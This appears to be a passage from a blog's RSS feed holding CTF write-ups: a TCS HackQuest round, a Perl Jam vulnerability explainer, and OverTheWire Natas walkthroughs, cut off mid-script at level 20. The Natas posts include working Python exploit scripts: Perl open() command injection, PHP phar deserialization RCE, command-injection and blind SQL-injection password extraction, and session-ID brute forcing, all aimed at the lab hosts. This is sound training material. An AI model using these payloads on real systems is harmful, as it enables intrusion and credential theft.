            <content:encoded><![CDATA[<h3>TCS HackQuest Season 10 — Round 1: Walkthrough</h3><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/0*3Ghg_BSvFtWGPTou.png" /></figure><p>Every year, TCS organizes <strong>HackQuest</strong>, an ethical hacking and cybersecurity competition for students across India. Designed in a <strong>Capture the Flag (CTF)</strong> format, the event challenges participants to solve security-based tasks and uncover hidden flags. High-performing participants earn prizes and may also receive opportunities to join TCS’s Cyber Security Unit.</p><p>TCS HackQuest follows a <strong>three-round structure</strong>: <br><strong>Round 1</strong> is an online Capture the Flag (CTF) with beginner to expert challenges; shortlisted participants move to -<br><strong>Round 2</strong>, an online, remotely proctored advanced challenge requiring cameras on; <br><strong>the Final round</strong> is an in-person event at a TCS location, culminating in potential job offers for top performers, all focused on ethical hacking skills.</p><p><strong>Round 1: Online CTF</strong></p><ul><li><strong>Format:</strong> Online Capture the Flag (CTF) competition.</li><li><strong>Content:</strong> Cybersecurity challenges across three difficulty levels: Beginner, Intermediate, and Expert.</li></ul><h3>Round 1 Challenge Write-ups</h3><p>This section documents the challenges I successfully solved during <strong>Round 1 of TCS HackQuest</strong>.</p><p><strong>Challenges solved:</strong> 5 out of 10<br><strong>Points obtained:</strong> 900</p><h4><strong>Challenge #1:</strong> <strong>Noise (100 points)</strong></h4><p><strong>Approach (Step by Step):</strong></p><p>1. A .opt file is given to us. This is a non-human-readable filetype. Find the file type. It says data.</p><p>Command:</p><pre>file c911caFec7.opt</pre><p>2. Look for any human readable strings using the strings command.</p><p>Command:</p><pre>strings c911caFec7.opt &gt; strings.txt</pre><p>3. Use a general-purpose regex to find the flag using grep command.</p><p>Command:</p><pre>grep -E “flag\{|CTF\{|[A-Za-z0–9_]{10,}” strings.txt</pre><p>4. Found the flag string!</p><h4>Challenge #2: Hidden Layers (100 points)</h4><p><strong>Approach (Step by Step):</strong></p><ol><li>An image is provided. Based on the description, the challenge looks like a classic example of Steganography.</li></ol><p>2. Use an online Steganography Decoder, and get the flag string.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KH5fSlZdGIPCo1iqxxIxLw.png" /><figcaption>Steganography Decoder</figcaption></figure><h4>Challenge #3: Seeds of Time (300 points)</h4><p><strong>Approach (Step by Step):</strong></p><ol><li>I couldn’t download the file associated with the level on Chrome browser. The error message displayed suggested trying again on a different browser. I opened Burp and used Chromium and the file was downloaded successfully.</li><li>Analyzing the encoder code, it is found that the seed being used is essentially ‘int(time.time())’.</li><li>A keystream is generated using random.random() and the flag is encrypted using XOR (cipher[i] = FLAG[i] ^ keystream[i]).</li><li>The security flaw here is that the time.time() has 1 second resolution, making the seed predictable. This means the keystream can be recreated if the seed is known or guessed within a small-time window.</li><li>Generate the keystream by reversing the XOR operation.</li><li>Since the seed is based on Unix time, the encryption likely happened recently. Tried a range of 24 hours (86400 seconds)</li><li>For each possible timestamp in the 24-hour range:</li></ol><ul><li>Seed the PRNG with the candidate timestamp.</li><li>Generate a keystream of the same length as the ciphertext using int(random.random() * 256).</li><li>XOR the generated keystream with the ciphertext to produce a potential plaintext.</li><li>Attempt to decode the resulting bytes to ASCII text.</li><li>Check if the decoded text matches the expected flag format (typically containing {} for CTF flags).</li></ul><p>8. Once the correct seed is found:</p><ul><li>The keystream matches the one used during encryption.</li><li>XORing with the ciphertext recovers the original flag.</li><li>No additional transformations are necessary.</li></ul><p>Python Script:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/754/1*hiKhiA69u5LjPWJafjAh-g.png" /></figure><p>Output:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/830/1*jwVpMJ23pNfACXDAcSXi9A.png" /></figure><h4>Challenge #4: Dot — Trace (300 points)</h4><p><strong>Approach (Step by Step):</strong></p><ol><li>Open the file or view it in a terminal. It appears unreadable and mostly consists of dots and invisible characters (spaces and tabs).</li><li>From the challenge description and recovered encoder logic, it is clear that:</li></ol><ul><li>dots (.) are noise</li><li>spaces represent binary 0</li><li>tabs represent binary 1</li><li>newlines separate encoded characters</li></ul><p>Thus, only whitespace matters.</p><p>3. The recovered encoder:</p><ul><li>converts each character to ASCII converts ASCII to binary (without fixed 8-bit padding)</li><li>encodes:</li></ul><blockquote>1 as a tab</blockquote><blockquote>0 as a space</blockquote><ul><li>pads output heavily with dots and spreads data across multiple lines</li></ul><p>Decoder Python script:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/483/1*XfWA9edmeLAzciMAX4hTag.png" /></figure><p>Output:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/831/1*V1Uf3_wIjZkL2IdzSxlhig.png" /></figure><h4>Challenge #5: Unfair Flip (100 points)</h4><p><strong>Approach (Step by Step):</strong></p><ol><li>Open DevTools to inspect the code. It seems that the code forces at least one Tails every time.</li><li>While scrolling through the console, I noticed the game code defined a function named: hiddenFlag() .</li><li>Simply open Console and enter the following JavaScript code.</li></ol><pre>window.coins = [“H”,”H”,”H”];<br>window._hiddenFlag()</pre><p>3. The flag will be received!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lllSTRrbqj4OulUmu8PkwA.png" /></figure><blockquote>Result: Selected for the next round!</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/220/0*deEykRnmf3oLD3m5.gif" /></figure><h4>📬 Contact Me</h4><p>If you’d like to discuss cybersecurity, ethical hacking, CTF challenges, or collaboration opportunities, feel free to reach out:</p><ul><li><strong>LinkedIn:</strong> <a href="https://www.linkedin.com/in/arnavaidya/">https://www.linkedin.com/in/arnavaidya/</a></li><li><strong>GitHub:</strong> <a href="https://github.com/arnavaidya">https://github.com/arnavaidya</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6caf62a82be7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[OverTheWire: Wargames — Natas (Level 32–33) Walkthrough]]></title>
            <link>https://rootissh.in/overthewire-wargames-natas-level-32-33-walkthrough-15696c5d60b2?source=rss-cfc1a7e2a9c0------2</link>
            <guid isPermaLink="false">https://medium.com/p/15696c5d60b2</guid>
            <category><![CDATA[overthewire]]></category>
            <category><![CDATA[natas]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Arnav Vaidya]]></dc:creator>
            <pubDate>Sun, 23 Nov 2025 19:02:46 GMT</pubDate>
            <atom:updated>2025-11-23T19:04:05.963Z</atom:updated>
            <content:encoded><![CDATA[<h3>OverTheWire: Wargames — Natas (Level 32–33) Walkthrough</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3_D80pZpTAfyJWdNYRX_iQ.png" /></figure><p>The OverTheWire Natas challenges are a web security series that teach you how to identify and exploit common vulnerabilities in web applications. Each level presents a unique problem that requires understanding of HTML, HTTP, cookies, and server-side logic. Progressing through the levels, you’ll encounter increasingly complex issues like authentication bypass, SQL injection, command injection and much more!</p><p>This is the fourth and as of now, the final part of this multi-part series and the previous levels have been covered in the following articles.</p><p>Level 1–15:</p><p><a href="https://rootissh.in/overthewire-wargames-natas-level-1-15-walkthrough-7a737a0c74da">OverTheWire: Wargames — Natas (Level 1–15) Walkthrough</a></p><p>Level 16–30:</p><p><a href="https://rootissh.in/overthewire-wargames-natas-level-16-30-walkthrough-447011e3b9db">OverTheWire: Wargames — Natas (Level 16–30) Walkthrough</a></p><p>Level 31:</p><p><a href="https://medium.com/@arnavaidya/perl-jam-when-your-server-starts-even-flow-ing-your-secrets-febb42efeabc">Perl Jam: When Your Server Starts “Even Flow”-ing Your Secrets (OverTheWire Natas Level-31)</a></p><p>We’ll be covering the Levels 32–33 in this writeup. Check out my GitHub repository for the solutions and python files here:</p><p><a href="https://github.com/arnavaidya/OverTheWire-Wargames-Walkthrough/tree/main/Natas">OverTheWire-Wargames-Walkthrough/Natas at main · arnavaidya/OverTheWire-Wargames-Walkthrough</a></p><h4>Natas Level 32 → Level 33</h4><p><strong>Key Takeaways:</strong></p><p>This level is quite similar to the previous level (Walkthrough blog with explanation linked above).</p><ul><li>The app takes in a CSV file and displays its content in a nicely formatted table.</li><li>Looking at the source code, the app is seen to use the CGI function in Perl, and the app logic matches the Perl Jam vulnerability.</li><li>The only addition here is the effort that’s needed to obtain the password.</li><li>We need to execute a binary that’s located in the webroot, in order to get the password.</li></ul><p><strong>Procedure:</strong></p><ol><li>Log in using the username natas32 and the password from Level 31.</li><li>Sample script:</li></ol><pre>import requests<br>                                                             <br>url = &#39;http://natas32.natas.labs.overthewire.org/&#39;<br><br>auth = (&#39;natas32&#39;, &#39;&lt;natas32_password&gt;&#39;)<br><br>response = requests.post(url + &#39;/index.pl?ls -al . | xargs echo |&#39;,<br>                         files=[(&#39;file&#39;, (&#39;filename&#39;, &#39;abc&#39;))],<br>                         data={&#39;file&#39;: &#39;ARGV&#39;},<br>                         auth=auth)<br>print(response.text) # Get something like: -rwxr-xr-x 1 natas32 natas32  4096 Jan 01  1970 getpassword<br><br>response = requests.post(url + &#39;/index.pl?./getpassword | xargs echo |&#39;,<br>                         files=[(&#39;file&#39;, (&#39;filename&#39;, &#39;abc&#39;))],<br>                         data={&#39;file&#39;: &#39;ARGV&#39;},<br>                         auth=auth)<br><br>print(response.text) # Get the password for natas33</pre><p>The password for the next level can be found in the content.</p><h4>Natas Level 33 → Level 34</h4><p><strong>Key Takeaways:</strong></p><ul><li>The app takes in firmware as PHP input and executes it if the hash value matches.</li><li>The Executor class gets the filename from the POST request, checks if it’s over the filesize limit (4096 bytes).</li><li>Then it moves the uploaded file to the uploads directory using the file name, which is equivalent to the PHPSESSID.</li><li>In the __destruct() function, it checks that the current directory is the uploads directory.</li><li>If the md5 hash of the file is equal to the $signature value, it will run our file. It will fail otherwise.</li><li>This level is based on <em>PHP unserialization</em> attack.</li></ul><p>The<em> </em>solution and explanation provided by CertCube Labs is quite helpful to understand what’s really going on.</p><p><em>Link:</em> <a href="https://blog.certcube.com/overthewire-natas/">https://blog.certcube.com/overthewire-natas/</a></p><p><strong>Procedure:</strong></p><ol><li>Log in using the username natas33 and the password from Level 32.</li><li>Sample Script:</li></ol><p>natas33.py:</p><pre>import requests<br>import hashlib<br>import subprocess<br><br>url = &#39;http://natas33.natas.labs.overthewire.org/&#39;<br><br>auth = (&#39;natas33&#39;, &#39;&lt;natas33_password&gt;&#39;)<br><br>content = b&#39;&lt;?php echo file_get_contents(&quot;/etc/natas_webpass/natas34&quot;); ?&gt;&#39;<br>content_hash = hashlib.md5(content).hexdigest()<br>filename = &#39;rce.php&#39;<br><br>with open(&#39;natas33.php.template&#39;, &#39;r&#39;) as template:<br>    with open(&#39;natas33.php&#39;, &#39;w&#39;) as o:<br>        o.write(template.read().format(filename, content_hash))<br><br>output = subprocess.check_output([&#39;php&#39;, &#39;-d&#39;, &#39;phar.readonly=false&#39;, &#39;natas33.php&#39;])<br><br># Upload your rce script and overwrite the filename field to have the file accesible for the next step.<br>requests.post(url + &#39;/index.php&#39;, auth=auth,<br>              data={&#39;filename&#39;: filename, &#39;submit&#39;: &#39;Upload File&#39;},<br>              files={&#39;uploadedfile&#39;: content})<br><br># Upload the generated phar file but instead of giving a file name, use the protocol handler.<br>response = requests.post(url + &#39;/index.php&#39;, auth=auth, data={&#39;filename&#39;: &#39;phar://test.phar/test.txt&#39;, &#39;submit&#39;: &#39;Upload File&#39;}, files={&#39;uploadedfile&#39;: open(&#39;test.phar&#39;, &#39;rb&#39;)})<br>print(response.text)</pre><p>natas33.php.template:</p><pre>&lt;?php<br>$phar = new Phar(&#39;test.phar&#39;);<br>$phar-&gt;startBuffering();<br>$phar-&gt;setStub(&#39;&lt;?php __HALT_COMPILER(); ? &gt;&#39;);<br>class Executor{{<br>  private $filename=&#39;{}&#39;;<br>  private $signature=&#39;{}&#39;;<br>}}<br>$object = new Executor();<br>$phar-&gt;setMetadata($object);<br>$phar-&gt;addFromString(&#39;test.txt&#39;, &#39;text&#39;);<br>$phar-&gt;stopBuffering();<br>?&gt;</pre><p>Level 33 seems to be the last level for now. That marks the end of the OverTheWire Natas Walkthrough series.</p><p>Thanks for sticking around!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=15696c5d60b2" width="1" height="1" alt=""><hr><p><a href="https://rootissh.in/overthewire-wargames-natas-level-32-33-walkthrough-15696c5d60b2">OverTheWire: Wargames — Natas (Level 32–33) Walkthrough</a> was originally published in <a href="https://rootissh.in/">rootissh</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Perl Jam: When Your Server Starts “Even Flow”-ing Your Secrets (OverTheWire Natas Level-31)]]></title>
            <link>https://rootissh.in/perl-jam-when-your-server-starts-even-flow-ing-your-secrets-febb42efeabc?source=rss-cfc1a7e2a9c0------2</link>
            <guid isPermaLink="false">https://medium.com/p/febb42efeabc</guid>
            <category><![CDATA[cve]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[perl]]></category>
            <dc:creator><![CDATA[Arnav Vaidya]]></dc:creator>
            <pubDate>Thu, 20 Nov 2025 08:23:56 GMT</pubDate>
            <atom:updated>2025-11-23T17:20:35.589Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/370/1*btMxSbxjiw9r74mQMy58UQ.png" /></figure><p>It’s not every day that cybersecurity and ’90s rock collide, but when they do, the bugs <em>“come back like before”</em>.<br>Welcome to the <em>Perl Jam</em> vulnerability — a class of bugs where certain Perl CGI scripts that handle user input without strict validation process user input in unsafe ways, leading to command execution, file disclosure, or arbitrary code execution.</p><p>Just like the band <em>Pearl Jam</em> broke the rules of the music industry, Perl Jam exposes edge cases in how secure input handling can be implemented in older Perl CGI workflows.</p><p>And to make this more concrete, we’ll walk through a real-world example using the popular wargame <strong>OverTheWire Natas Level 31</strong>, which is literally designed around this vulnerability.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/400/0*WhyJOxtXMHqtJwp7.gif" /></figure><h4><strong>What Is the Perl Jam Vulnerability?</strong></h4><p>The vulnerability class was first described in the Black Hat Asia 2016 talk by <em>Netanel</em> <em>Rubin</em> (“The Perl Jam 2: The Camel Strikes Back”). This class of vulnerabilities in Perl CGI applications is caused by one thing:</p><blockquote><strong><em>Perl lets user input impersonate different data types (scalar, list, hash, file handle)</em></strong></blockquote><p>…and Perl functions treat these types differently — sometimes dangerously.</p><p>This vulnerability has lead to:</p><ul><li>code execution</li><li>file read</li><li>file write</li><li>SQL injection</li><li>auth bypass</li><li>remote code execution</li></ul><p>in major applications (Bugzilla, TWiki, MovableType). <br>This “type confusion via user-controlled input” is the core idea of Perl Jam. But to really understand why Perl Jam is such a subtle issue, we need to look at what makes Perl different from most modern languages — and why developers accidentally create ticking time bombs without a single system() call in sight.</p><h4>Why Perl Jam Exists?</h4><p>Perl’s design philosophy emphasizes flexibility and permissive type handling. In Perl:</p><ul><li>A function argument may be a scalar, array, hash, or file handle.</li><li>The function itself typically does not enforce or validate the expected type.</li><li>Application logic often branches based on the argument’s type.</li></ul><p>At the same time, libraries such as <strong>CGI.pm</strong>, <strong>XMLRPC</strong>, and <strong>JSONRPC</strong> can automatically promote incoming, user-controlled data into arrays, hashes, or pseudo file handles during request parsing. As a result, developers may assume that users can provide only simple scalar values, while the underlying libraries allow far more complex data structures to pass through.</p><p>This combination — dynamic type behavior, reliance on type-dependent logic, and automatic input promotion — creates opportunities where unexpected user input can trigger logic paths that may lead to the application executing code paths that were not anticipated during development, forming the core of the Perl Jam vulnerability class.</p><h4>The CGI.pm Interaction: How Perl Jam Enables RCE</h4><p>But the most iconic part of Perl Jam is the RCE chain built entirely from normal Perl CGI code.</p><p>A well-known example of how Perl Jam manifests involves typical CGI.pm upload handling code.</p><pre>my $cgi = CGI-&gt;new;<br><br>if ( $cgi-&gt;upload(&#39;file&#39;) ) {<br>    my $file = $cgi-&gt;param(&#39;file&#39;);<br><br>    while (&lt;$file&gt;) {<br>        print $_;<br>    }<br>}</pre><p>At first glance, it appears harmless, but…<br>&lt;$file&gt; is the &quot;diamond operator&quot;, which actually calls open() under the hood.<br>And <em>open()</em> has special behavior:</p><ul><li>If the value ends with a |, it executes a command; similar to exec() .</li><li>If the value is &quot;ARGV&quot;, the script reads from @ARGV—letting the attacker trick the program into reading arbitrary files.</li><li>If the attacker submits both a file upload <strong>and</strong> a scalar value for the same parameter, CGI.pm mixes them in a surprising way.</li></ul><p>So an attacker can send:</p><ul><li>file = ARGV</li><li>and also upload a file</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dAsxcRAvxBpkyia4DwQ0Pg.png" /></figure><p>And the logic resolves like this:</p><pre>upload() → true        (because one of the values is a file)<br><br>param(&#39;file&#39;) → &quot;ARGV&quot; (because it returns the first value)<br><br>&lt;&gt; treats &quot;ARGV&quot; specially and reads attacker-controlled file arguments<br>open(&quot;cmd|&quot;) executes commands</pre><h4>Let’s Make It Real: Perl Jam in OverTheWire Natas Level 31</h4><p>The wargame <strong>OverTheWire Natas Level 31</strong> is literally built around exploiting a Perl Jam vulnerability.<br>This level includes a Perl CGI upload handler that looks like a stripped-down version of the vulnerable pattern we just saw.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1lk-l6kESTH3kjw3xWTpzg.png" /></figure><p>The code is vulnerable to <strong>Perl Jam</strong> because of this line:</p><pre>while (&lt;$file&gt;) {</pre><p>Here’s why:</p><ol><li>The attacker sends <strong>two</strong> file parameters:</li></ol><ul><li>First: a <strong>malicious string</strong> like cat /etc/natas_webpass/natas32 |</li><li>Second: an actual <strong>uploaded file</strong></li></ul><p>2. upload(&#39;file&#39;) returns <strong>true</strong> because one value is a file.</p><p>3. param(&#39;file&#39;) returns <strong>the first value</strong>, the malicious string.</p><p>4. &lt;$file&gt; makes Perl do an implicit <strong><em>open()</em></strong> on that string.</p><p>5. When the string ends in |, Perl treats it as a <strong>command</strong>:</p><p>open(&quot;cat /etc/natas_webpass/natas32 |&quot;) → execute command</p><p>6. The command output is printed inside the HTML table.</p><p><strong>Result: Full RCE with no <em>system()</em> or <em>exec()</em> in the code.</strong></p><p><em>Python Script to solve this level:</em></p><pre>import requests<br>                                                             <br>url = &#39;http://natas31.natas.labs.overthewire.org/&#39;<br><br>auth = (&#39;natas31&#39;, &#39;&lt;Password&gt;&#39;)<br><br>response = requests.post(url + &#39;/index.pl?cat /etc/natas_webpass/natas32 | xargs echo |&#39;,<br>                         files=[(&#39;file&#39;, (&#39;filename&#39;, &#39;abc&#39;))],<br>                         data={&#39;file&#39;: &#39;ARGV&#39;},<br>                         auth=auth)<br>print(response.text)</pre><h4>Why Perl Jam Still Matters in 2025?</h4><p>While many modern web frameworks enforce stricter typing models by default, Perl is still entrenched in:</p><ul><li>legacy enterprise systems</li><li>old admin panels</li><li>internal automation tools</li><li>forgotten intranet servers</li><li>and yes… CTFs! ;)</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/312/1*4AcAPV9kAyuMilmo9MqHfQ.gif" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=febb42efeabc" width="1" height="1" alt=""><hr><p><a href="https://rootissh.in/perl-jam-when-your-server-starts-even-flow-ing-your-secrets-febb42efeabc">Perl Jam: When Your Server Starts “Even Flow”-ing Your Secrets (OverTheWire Natas Level-31)</a> was originally published in <a href="https://rootissh.in/">rootissh</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[OverTheWire: Wargames — Natas (Level 16–30) Walkthrough]]></title>
            <link>https://rootissh.in/overthewire-wargames-natas-level-16-30-walkthrough-447011e3b9db?source=rss-cfc1a7e2a9c0------2</link>
            <guid isPermaLink="false">https://medium.com/p/447011e3b9db</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[overthewire-writeup]]></category>
            <category><![CDATA[ctf-walkthrough]]></category>
            <category><![CDATA[web-security]]></category>
            <dc:creator><![CDATA[Arnav Vaidya]]></dc:creator>
            <pubDate>Wed, 08 Oct 2025 17:50:13 GMT</pubDate>
            <atom:updated>2025-10-16T14:59:55.413Z</atom:updated>
            <content:encoded><![CDATA[<h3>OverTheWire: Wargames — Natas (Level 16–30) Walkthrough</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3_D80pZpTAfyJWdNYRX_iQ.png" /></figure><p>The OverTheWire Natas challenges are a web security series that teach you how to identify and exploit common vulnerabilities in web applications. Each level presents a unique problem that requires understanding of HTML, HTTP, cookies, and server-side logic. Progressing through the levels, you’ll encounter increasingly complex issues like authentication bypass, SQL injection, command injection and much more!</p><p>This is the second part of this multi-part series and the first 15 levels have been covered in the following article.</p><p><a href="https://rootissh.in/overthewire-wargames-natas-level-1-15-walkthrough-7a737a0c74da">OverTheWire: Wargames — Natas (Level 1–15) Walkthrough</a></p><p>We’ll be covering the Levels 16–30 in this writeup. Check out my GitHub repository for the solutions and python files here:</p><p><a href="https://github.com/arnavaidya/OverTheWire-Wargames-Walkthrough/tree/main/Natas">OverTheWire-Wargames-Walkthrough/Natas at main · arnavaidya/OverTheWire-Wargames-Walkthrough</a></p><h4>Natas Level 16 → Level 17</h4><p><strong>Key Takeaways:</strong> This level demonstrates command injection vulnerabilities. It highlights how unsanitized user input passed into system commands can allow attackers to execute unintended commands, potentially leaking sensitive information.</p><p><strong>Procedure:</strong></p><ol><li>Log in using the username natas16 and the password obtained from Level 15.</li><li>The page provides a search form with a needle parameter. This parameter is passed to a system command (e.g., grep) on the server.</li><li>Observing the source code, we can see that the needle is not properly sanitized, allowing for command injection.</li><li>Inject a payload to check if the password for Natas17 starts with a particular character. For example:</li></ol><pre>anythings$(grep ^h /etc/natas_webpass/natas17)</pre><p>If grep finds a match, the anythings string will not appear in the output.</p><p>5. Automate this check by writing a script that:</p><ul><li>Iterates over all possible characters (a-z, A-Z, 0-9).</li><li>Sends a request with the injected grep command checking for the current prefix.</li><li>Appends the character to the known password if the match is successful.</li><li>Repeats until all 32 characters are discovered.</li></ul><p>6. Sample script (Credits: John Hammond):</p><p><a href="https://github.com/JohnHammond/overthewire_natas_solutions/blob/master/natas16.py">overthewire_natas_solutions/natas16.py at master · JohnHammond/overthewire_natas_solutions</a></p><pre>#!/usr/bin/env python3<br># -*- coding: utf-8 -*-<br><br>import requests<br>import time<br>from string import ascii_lowercase, ascii_uppercase, digits<br><br>characters = ascii_lowercase + ascii_uppercase + digits<br><br>username = &#39;natas16&#39;<br>password = &#39;&lt;natas16_password&gt;&#39;<br><br>url = f&#39;http://{username}.natas.labs.overthewire.org/&#39;<br><br>session = requests.Session()<br><br>seen_password = []<br><br>while len(seen_password) &lt; 32:<br>    found = False<br>    for character in characters:<br>        attempt = &#39;&#39;.join(seen_password) + character<br>        payload = f&#39;anythings$(grep ^{attempt} /etc/natas_webpass/natas17)&#39;<br>        try:<br>            response = session.post(<br>                url,<br>                data={&#39;needle&#39;: payload},<br>                auth=(username, password),<br>                timeout=10<br>            )<br>            content = response.text<br>        except requests.exceptions.RequestException as e:<br>            print(f&quot;Request failed: {e}&quot;)<br>            time.sleep(1)<br>            continue<br>        if &#39;anythings&#39; not in content:<br>            # grep matched → no change → correct char<br>            seen_password.append(character)<br>            print(f&quot;[+] Found so far: {&#39;&#39;.join(seen_password)}&quot;)<br>            found = True<br>            break<br>        time.sleep(0.1)<br><br>    if not found:<br>        print(&quot;[-] No matching character found. This shouldn&#39;t happen!&quot;)<br>        break<br>print(f&quot;[✓] Final password: {&#39;&#39;.join(seen_password)}&quot;)</pre><p>This will gradually build the password for the next level.</p><h4>Natas Level 17 → Level 18</h4><p><strong>Key Takeaways:</strong> This level demonstrates blind command injection via timing attacks. The server does not return command output, but the attacker can infer results based on response delays (e.g., using sleep). This teaches the importance of defending against time-based side channels.</p><p><strong>Procedure:</strong></p><ol><li>Log in using the username natas17 and the password obtained from Level 16.</li><li>The page has a form that passes input to a shell command. Although output is hidden, timing can be observed.</li><li>The attack script sends:</li></ol><pre>natas18&quot; AND BINARY password LIKE &quot;{test_password}%&quot; AND SLEEP(1) #</pre><ul><li>If the password prefix is correct, the server sleeps for 1 second.</li><li>Otherwise, it responds immediately.</li></ul><p>4. The script logic (Credits: John Hammond):</p><p><a href="https://github.com/JohnHammond/overthewire_natas_solutions/blob/master/natas16.py">overthewire_natas_solutions/natas16.py at master · JohnHammond/overthewire_natas_solutions</a></p><pre>#!/usr/bin/env python<br># -*- coding: utf-8 -*-<br><br>import requests<br>import time<br>import string<br><br># Character set: lowercase + uppercase + digits<br>characters = string.ascii_lowercase + string.ascii_uppercase + string.digits<br><br>username = &#39;natas17&#39;<br>password = &#39;&lt;natas17_password&gt;&#39;<br><br>url = f&#39;http://{username}.natas.labs.overthewire.org/&#39;<br><br>session = requests.Session()<br><br>seen_password = []<br><br>while len(seen_password) &lt; 32:<br>    for character in characters:<br>        test_password = &#39;&#39;.join(seen_password) + character<br>        print(f&quot;Trying: {test_password}&quot;)<br>        # Start the timer<br>        start_time = time.time()<br>        payload = f&#39;natas18&quot; AND BINARY password LIKE &quot;{test_password}%&quot; AND SLEEP(1) #&#39;<br>        response = session.post(<br>            url,<br>            data={&quot;username&quot;: payload},<br>            auth=(username, password)<br>        )<br>        # Measure time difference<br>        end_time = time.time()<br>        difference = end_time - start_time<br>        if difference &gt; 1:<br>            # Found correct character<br>            seen_password.append(character)<br>            break  # Move to next position<br>print(&quot;Recovered password:&quot;, &#39;&#39;.join(seen_password))</pre><p>This will gradually build the password.</p><h4>Natas Level 18 → Level 19</h4><p><strong>Key Takeaways:</strong> This level demonstrates session enumeration / insecure session handling. Predictable or enumerable session identifiers (here PHPSESSID) let an attacker impersonate other users (e.g., an admin).</p><p><strong>Procedure:</strong></p><ol><li>Log in using the username natas18 and the password from Level 17.</li><li>Inspect the site — there is functionality that treats a PHPSESSID cookie as the session identifier and displays different content depending on the session (e.g., an admin message).</li><li>If session IDs are small integers or otherwise enumerable, iterate through plausible PHPSESSID values and request the page with each one.</li><li>When you find a session that shows the admin content, the page will reveal the password for natas19. Save it and move on.</li><li>The script logic (Credits: John Hammond):</li></ol><p><a href="https://github.com/JohnHammond/overthewire_natas_solutions/blob/master/natas18.py">overthewire_natas_solutions/natas18.py at master · JohnHammond/overthewire_natas_solutions</a></p><pre>#!/usr/bin/env python3<br># -*- coding: utf-8 -*-<br><br>import requests<br>from requests.auth import HTTPBasicAuth<br>username = &quot;natas18&quot;<br>password = &quot;&lt;natas18_password&gt;&quot;<br>url = f&quot;http://{username}.natas.labs.overthewire.org/&quot;<br>session = requests.Session()<br>auth = HTTPBasicAuth(username, password)<br>for session_id in range(1, 641):<br>    try:<br>        resp = session.get(url, cookies={&quot;PHPSESSID&quot;: str(session_id)}, auth=auth, timeout=8)<br>    except requests.RequestException as e:<br>        print(f&quot;[!] Request error for PHPSESSID={session_id}: {e}&quot;)<br>        continue<br>    content = resp.text<br>    if &quot;You are an admin&quot; in content:<br>        print(&quot;Got it! PHPSESSID =&quot;, session_id)<br>        print(content)<br>        break<br>    else:<br>        print(&quot;trying&quot;, session_id)</pre><p>This will brute force all session IDs to find the one for the admin.</p><h4>Natas Level 19 → Level 20</h4><p><strong>Key Takeaways:</strong> This level is similar to the previous one; the catch only being the PHPSESSID values are not sequential, and that’s because they are hex-encoded.</p><p><strong>Procedure:</strong></p><ol><li>Log in using the username natas19 and the password from Level 18.</li><li>The following code snippet will give the PHPSESSID for the admin on brute forcing:</li></ol><pre>#!/usr/bin/env python3<br># -*- coding: utf-8 -*-<br><br>import binascii<br>import re<br>import time<br>from requests.auth import HTTPBasicAuth<br>import requests<br><br>username = &quot;natas19&quot;<br>password = &quot;&lt;natas19_password&gt;&quot;<br><br>url = f&quot;http://{username}.natas.labs.overthewire.org/&quot;<br><br>session = requests.Session()<br>auth = HTTPBasicAuth(username, password)<br><br>start = 1<br>end = 640  # adjust if you want a different range<br>success_marker = &quot;You are an admin&quot;<br>pw_regex = re.compile(r&quot;([A-Za-z0-9]{32})&quot;)<br><br>for i in range(start, end + 1):<br>    # build the admin token like &quot;89-admin&quot; and hex-encode it<br>    token = f&quot;{i}-admin&quot;.encode(&quot;utf-8&quot;)<br>    hex_token = binascii.hexlify(token).decode(&quot;ascii&quot;)<br>    cookies = {&quot;PHPSESSID&quot;: hex_token}<br><br>    try:<br>        resp = session.get(url, cookies=cookies, auth=auth, timeout=8)<br>    except requests.RequestException as e:<br>        print(f&quot;[!] Request error for i={i}: {e}&quot;)<br>        time.sleep(1)<br>        continue<br><br>    content = resp.text<br>    if success_marker in content:<br>        print(f&quot;[+] Found admin session! i = {i}, PHPSESSID = {hex_token}&quot;)</pre><p>3. Input test credentials to enable the PHPSESSID cookie and then replace its value with the obtained admin cookie value and you&#39;ll get the password for the next level.</p><h4>Natas Level 20 → Level 21</h4><p><strong>Key Takeaways:</strong> The PHPSESSID in this level is not predictable. If you can add a newline and a admin 1 line into the stored data, the server will treat your session as admin and reveal the natas21 password.</p><p><strong>Procedure:</strong></p><ol><li>Log in using the username natas20 and the password from Level 19.</li><li>POST a name value that contains a newline followed by admin 1 (for example: plzsub\nadmin 1), then request the page and read the admin-only content.</li><li>Sample script:</li></ol><pre>#!/usr/bin/env python3<br># -*- coding: utf-8 -*-<br><br>import requests<br><br>username = &quot;natas20&quot;<br>password = 